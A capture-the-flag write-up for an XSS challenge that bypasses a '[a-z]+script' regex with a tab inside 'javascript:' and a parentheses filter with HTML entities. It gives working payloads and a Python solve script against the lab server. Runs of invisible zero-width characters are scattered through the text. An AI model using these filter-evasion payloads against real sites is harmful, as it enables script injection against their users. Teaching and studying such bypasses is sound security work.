← Back to Writeups
CUSTOMMediumWeb

Medium 5 - JavaScript URL Scheme Bypass

XESXOR9/10/20263 min read
#web#custom#medium#html_entity_encoding#regex_evasion#whitespace_scheme_bypass

Medium 5 - JavaScript URL Scheme Bypass

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-15 | Status: Solved Techniques: html_entity_encoding, regex_evasion, whitespace_scheme_bypass

Summary

Task: XSS challenge where javascript keyword is filtered with regex and parentheses are blocked. Solution: Use whitespace (tab) in URL scheme to bypass regex filter and HTML entities to encode parentheses.

Medium 5 - JavaScript URL Scheme Bypass — SiBears XSS School

Description

XSS challenge from the SiBears XSS School series. Need to create a payload that executes prompt("sibears") in the bot's browser. The bot visits the page and clicks on <a> tags.

URL: http://109.233.56.90:11659/xss/medium/5

Analysis

Escape function:

javascript
function escape(s) {
  s = s.replace(/[<>"'\/()]/g, '_');
  s = s.replace(/[a-z]+script/ig, 'python');
  return '<a href="' + s + '">Click ME</a>';  
}

Two levels of filtering: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Character filter: < > " ' / ( ) → _

    • Cannot escape from attribute (quotes are filtered)
    • Cannot use () for function calls
    • Cannot use / for regex or comments
  2. Keyword filter: /[a-z]+script/ig → python

    • Catches javascript, Javascript, JAVASCRIPT, vbscript, etc.
    • Requires at least one [a-z] character before script

Injection context:

  • Payload is inserted into href="..." attribute
  • Bot clicks the link → javascript: URL executes

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bypass 1: Whitespace in URL scheme

Regex /[a-z]+script/ requires a continuous sequence of [a-z] before script. Inserting a whitespace character between java and script breaks the pattern:

java\tscript:  →  doesn't match [a-z]+script  →  not replaced with python

Browsers ignore whitespace (tab \t, CR \r, LF \n) in URL scheme names:

  • java\tscript: is interpreted as javascript:
  • java\rscript: also works

Bypass 2: HTML entities for () and "

Characters (, ), " are filtered, but HTML entities are not filtered:

  • &, #, digits, ; — not in the list [<>"'\/()] ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HTML decimal entities:

  • &#40; → (
  • &#41; → )
  • &#34; → "

The browser decodes HTML entities in attributes before executing the javascript: URL.

Winning Payload

java[TAB]script:prompt&#40;&#34;sibears&#34;&#41;

Where [TAB] = \t (0x09)

Processing flow:

  1. Escape function:

    • java\tscript:prompt&#40;&#34;sibears&#34;&#41;
    • Character filter: nothing replaced (no <>"'/())
    • Keyword filter: java\t doesn't match [a-z]+ → not replaced
  2. HTML output:

    html
    <a href="java	script:prompt&#40;&#34;sibears&#34;&#41;">Click ME</a>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Bot clicks:
    • Browser parses java[TAB]script: as javascript: scheme
    • Decodes entities: &#40; → (, &#34; → ", &#41; → )
    • Executes: prompt("sibears")

Alternative payloads

All these variants also work:

java\rscript:prompt&#40;&#34;sibears&#34;&#41;     # CR instead of TAB
java\tscript:prompt&#x28;&#x22;sibears&#x22;&#x29;  # Hex entities
java\tscript:prompt&lpar;&quot;sibears&quot;&rpar;  # Named entities

Why backticks don't work

Initially tried tagged template literals:

java\tscript:prompt`sibears`

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Backticks are not filtered, but tagged template literal passes an array, not a string:

  • promptsibears`` is equivalent to prompt(["sibears"])
  • Checker expects prompt("sibears") with a string argument

Solve Script

python
#!/usr/bin/env python3
import requests
import time

BASE = "http://109.233.56.90:11659"

# Tab character breaks [a-z]+script regex
# HTML entities bypass () and " filter
payload = 'java\tscript:prompt&#40;&#34;sibears&#34;&#41;'

r = requests.post(f"{BASE}/xss/medium/5/form", data={"code": payload}, allow_redirects=False)
checker_url = BASE + r.headers.get('Location', '')
print(f"Checker: {checker_url}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

time.sleep(5)
r2 = requests.get(checker_url)
print(r2.text)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍